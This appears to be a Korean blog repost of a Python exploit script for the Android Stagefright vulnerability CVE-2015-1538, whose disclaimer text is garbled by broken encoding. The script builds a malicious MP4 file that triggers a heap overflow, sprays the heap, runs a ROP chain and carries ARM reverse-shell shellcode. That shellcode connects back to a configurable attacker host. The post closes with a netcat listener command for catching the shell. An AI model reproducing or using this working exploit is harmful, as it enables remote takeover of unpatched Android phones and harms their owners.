Metasploit

stagefright.py

๐“›๐“พ๐“ฌ๐“ฎ๐“ฝ๐“ฎ_๐“ข๐“ฝ๐“ฎ๐“ต๐“ต๐“ช 2016. 2. 10.
728x90
๋ฐ˜์‘ํ˜•

๋ชจ๋“  ๋ฒ•์ ์ฑ…์ž„์€ ์‚ฌ์šฉ์ž์—๊ฒŒ ์žˆ์Šต๋‹ˆ๋‹ค.

์—ฐ๊ตฌ์šฉ์œผ๋กœ๋งŒ ์‚ฌ์šฉํ•˜์‹œ๊ธฐ ๋ฐ”๋ž๋‹ˆ๋‹ค.



#coding: utf-8

#!/usr/bin/env python

# Fixed By Rizaldi

# Joshua J. Drake (@jduck) of ZIMPERIUM zLabs

# Shout outs to our friends at Optiv (formerly Accuvant Labs)

# (C) Joshua J. Drake, ZIMPERIUM Inc, Mobile Threat Protection, 2015

# www.zimperium.com

#

# Exploit for RCE Vulnerability CVE-2015-1538 #1

# Integer Overflow in the libstagefright MP4 'stsc' atom handling

#

# Don't forget, the output of ''create_mp4'' can be delivered many ways!

# MMS is the most dangerous attack vector, but not the only oneโ€ฆ

#

# DISCLAIMER: This exploit is for testing and educational purposes only. Any

# other usage for this code is not allowed. Use at your own risk.

#

# ''With great power comes great responsibility.'' โ€“ Uncle Ben

#

import struct

import socket

#

# Creates a single MP4 atom โ€“ LEN, TAG, DATA

#

def make_chunk(tag, data):

   if len(tag) != 4:

       raise 'Yo! They call it โ€œFourCC'' for a reason.'

   ret = struct.pack('>L', len(data) + 8)

   ret += tag

   ret += data

   return ret

#

# Make an 'stco' atom โ€“ Sample Table Chunk Offets

#

def make_stco(extra=''):

   ret =  struct.pack('>L', 0) # version

   ret += struct.pack('>L', 0) # mNumChunkOffsets

   return make_chunk('stco', ret+extra)

#

# Make an 'stsz' atom โ€“ Sample Table Size

#

def make_stsz(extra=''):

   ret =  struct.pack('>L', 0) # version

   ret += struct.pack('>L', 0) # mDefaultSampleSize

   ret += struct.pack('>L', 0) # mNumSampleSizes

   return make_chunk('stsz', ret+extra)

#

# Make an 'stts' atom โ€“ Sample Table Time-to-Sample

#

def make_stts():

   ret =  struct.pack('>L', 0) # version

   ret += struct.pack('>L', 0) # mTimeToSampleCount

   return make_chunk('stts', ret)

#

# This creates a single Sample Table Sample-to-Chunk entry

#

def make_stsc_entry(start, per, desc):

   ret = ''

   ret += struct.pack('>L', start + 1)

   ret += struct.pack('>L', per)

   ret += struct.pack('>L', desc)

   return ret

#

# Make an 'stsc' chunk โ€“ Sample Table Sample-to-Chunk

#

# If the caller desires, we will attempt to trigger (CVE-2015-1538 #1) and

# cause a heap overflow.

#

def make_stsc(num_alloc, num_write, sp_addr=0x42424242, do_overflow = False):

   ret =  struct.pack('>L', 0) # version/flags

   # this is the clean versionโ€ฆ

   if not do_overflow:

       ret += struct.pack('>L', num_alloc) # mNumSampleToChunkOffsets

       ret += 'Z' * (12 * num_alloc)

       return make_chunk('stsc', ret)


   # now the explicit version. (trigger the bug)

   ret += struct.pack('>L', 0xc0000000 + num_alloc) # mNumSampleToChunkOffsets

   # fill in the entries that will overflow the buffer

   for x in range(0, num_write):

       ret += make_stsc_entry(sp_addr, sp_addr, sp_addr)


   ret = make_chunk('stsc', ret)


   # patch the data_size

   ret = struct.pack('>L', 8 + 8 + (num_alloc * 12)) + ret[4:]


   return ret


#

# Build the ROP chain

#

# ROP pivot by Georg Wicherski! Thanks!

#

"""

(gdb) x/10i __dl_restore_core_regs

  0xb0002850 <__dl_restore_core_regs>: add r1, r0, #52 ; 0x34

  0xb0002854 <__dl_restore_core_regs+4>:   ldm r1, {r3, r4, r5}

  0xb0002858 <__dl_restore_core_regs+8>:   push    {r3, r4, r5}

  0xb000285c <__dl_restore_core_regs+12>:  ldm r0, {r0, r1, r2, r3, r4, r5, r6, r7, r8, r9, r10, r11}

  0xb0002860 <__dl_restore_core_regs+16>:  ldm sp, {sp, lr, pc}

"""

"""

b0001144 <__dl_mprotect>:

b0001144:       e92d0090        push    {r4, r7}

b0001148:       e3a0707d        mov     r7, #125        ; 0x7d

b000114c:       ef000000        svc     0x00000000

b0001150:       e8bd0090        pop     {r4, r7}

b0001154:       e1b00000        movs    r0, r0

b0001158:       512fff1e        bxpl    lr

b000115c:       ea0015cc        b       b0006894 <__dl_raise+0x10>

"""

def build_rop(off, sp_addr, newpc_val, cb_host, cb_port):

   rop = ''

   rop += struct.pack('<L', sp_addr + off + 0x10) # new sp

   rop += struct.pack('<L', 0xb0002a98)           # new lr โ€“ pop {pc}

   rop += struct.pack('<L', 0xb00038b2+1)         # new pc: pop {r0, r1, r2, r3, r4, pc}


   rop += struct.pack('<L', sp_addr & 0xfffff000) # new r0 โ€“ base address (page aligned)

   rop += struct.pack('<L', 0x1000)               # new r1 โ€“ length

   rop += struct.pack('<L', 7)                    # new r2 โ€“ protection

   rop += struct.pack('<L', 0xd000d003)           # new r3 โ€“ scratch

   rop += struct.pack('<L', 0xd000d004)           # new r4 โ€“ scratch

   rop += struct.pack('<L', 0xb0001144)           # new pc โ€“ _dl_mprotect


   native_start = sp_addr + 0x80

   rop += struct.pack('<L', native_start)         # address of native payload

   #rop += struct.pack('<L', 0xfeedfed5)          # top of stackโ€ฆ

   # linux/armle/shell_reverse_tcp (modified to pass env and fork/exit)

   buf =  ''

   # fork

   buf += '\x02\x70\xa0\xe3'

   buf += '\x00\x00\x00\xef'

   # continue if not parentโ€ฆ

   buf += '\x00\x00\x50\xe3'

   buf += '\x02\x00\x00\x0a'

   # exit parent

   buf += '\x00\x00\xa0\xe3'

   buf += '\x01\x70\xa0\xe3'

   buf += '\x00\x00\x00\xef'

   # setsid in child

   buf += '\x42\x70\xa0\xe3'

   buf += '\x00\x00\x00\xef'

   # socket/connect/dup2/dup2/dup2

   buf += '\x02\x00\xa0\xe3\x01\x10\xa0\xe3\x05\x20\x81\xe2\x8c'

   buf += '\x70\xa0\xe3\x8d\x70\x87\xe2\x00\x00\x00\xef\x00\x60'

   buf += '\xa0\xe1\x6c\x10\x8f\xe2\x10\x20\xa0\xe3\x8d\x70\xa0'

   buf += '\xe3\x8e\x70\x87\xe2\x00\x00\x00\xef\x06\x00\xa0\xe1'

   buf += '\x00\x10\xa0\xe3\x3f\x70\xa0\xe3\x00\x00\x00\xef\x06'

   buf += '\x00\xa0\xe1\x01\x10\xa0\xe3\x3f\x70\xa0\xe3\x00\x00'

   buf += '\x00\xef\x06\x00\xa0\xe1\x02\x10\xa0\xe3\x3f\x70\xa0'

   buf += '\xe3\x00\x00\x00\xef'

   # execve(shell, argv, env)

   buf += '\x30\x00\x8f\xe2\x04\x40\x24\xe0'

   buf += '\x10\x00\x2d\xe9\x38\x30\x8f\xe2\x08\x00\x2d\xe9\x0d'

   buf += '\x20\xa0\xe1\x10\x00\x2d\xe9\x24\x40\x8f\xe2\x10\x00'

   buf += '\x2d\xe9\x0d\x10\xa0\xe1\x0b\x70\xa0\xe3\x00\x00\x00'

   buf += '\xef\x02\x00'

   # Add the connect back host/port

   buf += struct.pack('!H', cb_port)

   cb_host = socket.inet_aton(cb_host)

   buf += struct.pack('=4s', cb_host)

   # shell โ€“

   buf += '/system/bin/sh\x00\x00'

   # argv โ€“

   buf += 'sh\x00\x00'

   # env โ€“

   buf += 'PATH=/sbin:/vendor/bin:/system/sbin:/system/bin:/system/xbin\x00'


   # Add some identifiable stuff, just in case something goes awryโ€ฆ

   rop_start_off = 0x34

   x = rop_start_off + len(rop)

   while len(rop) < 0x80 - rop_start_off:

       rop += struct.pack('<L', 0xf0f00000+x)

       x += 4


   # Add the native payloadโ€ฆ

   rop += buf


   return rop


#

# Build an mp4 that exploits CVE-2015-1538 #1

#

# We mimic meow.3gp hereโ€ฆ

#

def create_mp4(sp_addr, newpc_val, cb_host, cb_port):

   chunks = []


   # Build the MP4 headerโ€ฆ

   ftyp =  'mp42'

   ftyp += struct.pack('>L', 0)

   ftyp += 'mp42'

   ftyp += 'isom'

   chunks.append(make_chunk('ftyp', ftyp))


   # Note, this causes a few allocationsโ€ฆ

   moov_data = ''

   moov_data += make_chunk('mvhd',

       struct.pack('>LL', 0, 0x41414141) +

       ('B' * 0x5c) )


   # Add a minimal, verified trak to satisfy mLastTrack being set

   moov_data += make_chunk('trak',

       make_chunk('stbl',

           make_stsc(0x28, 0x28) +

           make_stco() +

           make_stsz() +

           make_stts() ))


   # Spray the heap using a large tx3g chunk (can contain binary data!)

   """

      0x4007004e <_ZNK7android7RefBase9decStrongEPKv+2>:   ldr r4, [r0, #4]  ; load mRefs

      0x40070050 <_ZNK7android7RefBase9decStrongEPKv+4>:   mov r5, r0

      0x40070052 <_ZNK7android7RefBase9decStrongEPKv+6>:   mov r6, r1

      0x40070054 <_ZNK7android7RefBase9decStrongEPKv+8>:   mov r0, r4

      0x40070056 <_ZNK7android7RefBase9decStrongEPKv+10>:  blx 0x40069884    ; atomic_decrement

      0x4007005a <_ZNK7android7RefBase9decStrongEPKv+14>:  cmp r0, #1        ; must be 1

      0x4007005c <_ZNK7android7RefBase9decStrongEPKv+16>:  bne.n   0x40070076 <_ZNK7android7RefBase9decStrongEPKv+42>

      0x4007005e <_ZNK7android7RefBase9decStrongEPKv+18>:  ldr r0, [r4, #8]  ; load refs->mBase

      0x40070060 <_ZNK7android7RefBase9decStrongEPKv+20>:  ldr r1, [r0, #0]  ; load mBase._vptr

      0x40070062 <_ZNK7android7RefBase9decStrongEPKv+22>:  ldr r2, [r1, #12] ; load method address

      0x40070064 <_ZNK7android7RefBase9decStrongEPKv+24>:  mov r1, r6

      0x40070066 <_ZNK7android7RefBase9decStrongEPKv+26>:  blx r2            ; call it!

   """

   page = ''

   off = 0  # the offset to the next object

   off += 8

   page += struct.pack('<L', sp_addr + 8 + 16 + 8 + 12 - 28)    # _vptr.RefBase (for when we smash mDataSource)

   page += struct.pack('<L', sp_addr + off) # mRefs

   off += 16

   page += struct.pack('<L', 1)             # mStrong

   page += struct.pack('<L', 0xc0dedbad)    # mWeak

   page += struct.pack('<L', sp_addr + off) # mBase

   page += struct.pack('<L', 16)            # mFlags (dont set OBJECT_LIFETIME_MASK)

   off += 8

   page += struct.pack('<L', sp_addr + off) # the mBase _vptr.RefBase

   page += struct.pack('<L', 0xf00dbabe)    # mBase.mRefs (unused)

   off += 16

   page += struct.pack('<L', 0xc0de0000 + 0x00)  # vtable entry 0

   page += struct.pack('<L', 0xc0de0000 + 0x04)  # vtable entry 4

   page += struct.pack('<L', 0xc0de0000 + 0x08)  # vtable entry 8

   page += struct.pack('<L', newpc_val)          # vtable entry 12

   rop = build_rop(off, sp_addr, newpc_val, cb_host, cb_port)

   x = len(page)

   while len(page) < 4096:

       page += struct.pack('<L', 0xf0f00000+x)

       x += 4


   off = 0x34

   page = page[:off] + rop + page[off+len(rop):]

   spray = page * (((2*1024*1024) / len(page)) - 20)

   moov_data += make_chunk('tx3g', spray)

   block = 'A' * 0x1c

   bigger = 'B' * 0x40

   udta = make_chunk('udta',

       make_chunk('meta',

           struct.pack('>L', 0) +

           make_chunk('ilst',

               make_chunk('cpil',    make_chunk('data', struct.pack('>LL', 21, 0) + 'A')) +

               make_chunk('trkn',    make_chunk('data', struct.pack('>LL', 0, 0) + 'AAAABBBB')) +

               make_chunk('disk',    make_chunk('data', struct.pack('>LL', 0, 0) + 'AAAABB')) +

               make_chunk('covr',    make_chunk('data', struct.pack('>LL', 0, 0) + block)) * 32 +

               make_chunk('\xa9alb', make_chunk('data', struct.pack('>LL', 0, 0) + block)) +

               make_chunk('\xa9ART', make_chunk('data', struct.pack('>LL', 0, 0) + block)) +

               make_chunk('aART',    make_chunk('data', struct.pack('>LL', 0, 0) + block)) +

               make_chunk('\xa9day', make_chunk('data', struct.pack('>LL', 0, 0) + block)) +

               make_chunk('\xa9nam', make_chunk('data', struct.pack('>LL', 0, 0) + block)) +

               make_chunk('\xa9wrt', make_chunk('data', struct.pack('>LL', 0, 0) + block)) +

               make_chunk('gnre',    make_chunk('data', struct.pack('>LL', 1, 0) + block)) +

               make_chunk('covr',    make_chunk('data', struct.pack('>LL', 0, 0) + block)) * 32 +

               make_chunk('\xa9ART', make_chunk('data', struct.pack('>LL', 0, 0) + bigger)) +

               make_chunk('\xa9wrt', make_chunk('data', struct.pack('>LL', 0, 0) + bigger)) +

               make_chunk('\xa9day', make_chunk('data', struct.pack('>LL', 0, 0) + bigger)))

           )

       )

   moov_data += udta


   # Make the nasty trak

   tkhd1 = ''.join([

       '\x00',       # version

       'D' * 3,      # padding

       'E' * (5*4),  # {c,m}time, id, ??, duration

       'F' * 0x10,   # ??

       struct.pack('>LLLLLL',

           0x10000,  # a00

           0,        # a01

           0,        # dx

           0,        # a10

           0x10000,  # a11

           0),       # dy

       'G' * 0x14

       ])


   trak1 = ''

   trak1 += make_chunk('tkhd', tkhd1)


   mdhd1 = ''.join([

       '\x00',       # version

       'D' * 0x17,   # padding

       ])


   mdia1 = ''

   mdia1 += make_chunk('mdhd', mdhd1)

   mdia1 += make_chunk('hdlr', 'F' * 0x3a)


   dinf1 = ''

   dinf1 += make_chunk('dref', 'H' * 0x14)


   minf1 = ''

   minf1 += make_chunk('smhd', 'G' * 0x08)

   minf1 += make_chunk('dinf', dinf1)


   # Build the nasty sample table to trigger the vulnerability here.

   stbl1 = make_stsc(3, (0x1200 / 0xc) - 1, sp_addr, True) # TRIGGER


   # Add the stbl to the minf chunk

   minf1 += make_chunk('stbl', stbl1)


   # Add the minf to the mdia chunk

   mdia1 += make_chunk('minf', minf1)


   # Add the mdia to the track

   trak1 += make_chunk('mdia', mdia1)


   # Add the nasty track to the moov data

   moov_data += make_chunk('trak', trak1)


   # Finalize the moov chunk

   moov = make_chunk('moov', moov_data)

   chunks.append(moov)


   # Combine outer chunks together and voila.

   data = ''.join(chunks)


   return data


if __name__ == '__main__':

   import sys

   import mp4

   import argparse


   def write_file(path, content):

       with open(path, 'wb') as f:

           f.write(content)


   def addr(sval):

       if sval.startswith('0x'):

           return int(sval, 16)

       return int(sval)


   # The address of a fake StrongPointer object (sprayed)

   sp_addr   = 0x41d00010  # takju @ imm76i โ€“ 2MB (via hangouts)


   # The address to of our ROP pivot

   newpc_val = 0xb0002850 # point sp at __dl_restore_core_regs


   # Allow the user to override parameters

   parser = argparse.ArgumentParser()

   parser.add_argument('-c', '-connectback-host', dest='cbhost', default='31.3.3.7')

   parser.add_argument('-p', '-connectback-port', dest='cbport', type=int, default=12345)

   parser.add_argument('-s', '-spray-address', dest='spray_addr', type=addr, default=None)

   parser.add_argument('-r', '-rop-pivot', dest='rop_pivot', type=addr, default=None)

   parser.add_argument('-o', '-output-file', dest='output_file', default='movie.mp4')

   args = parser.parse_args()


   if len(sys.argv) == 1:

       parser.print_help()

       sys.exit(-1)


   if args.spray_addr == None:

       args.spray_addr = sp_addr

   if args.rop_pivot == None:

       args.rop_pivot = newpc_val


   # Build the MP4 fileโ€ฆ

   data = mp4.create_mp4(args.spray_addr, args.rop_pivot, args.cbhost, args.cbport)

   print('[*] Saving crafted MP4 to %s โ€ฆ' % args.output_file)

   write_file(args.output_file, data)








============================================================
netcat -l -p 4444




728x90
๋ฐ˜์‘ํ˜•

๋Œ“๊ธ€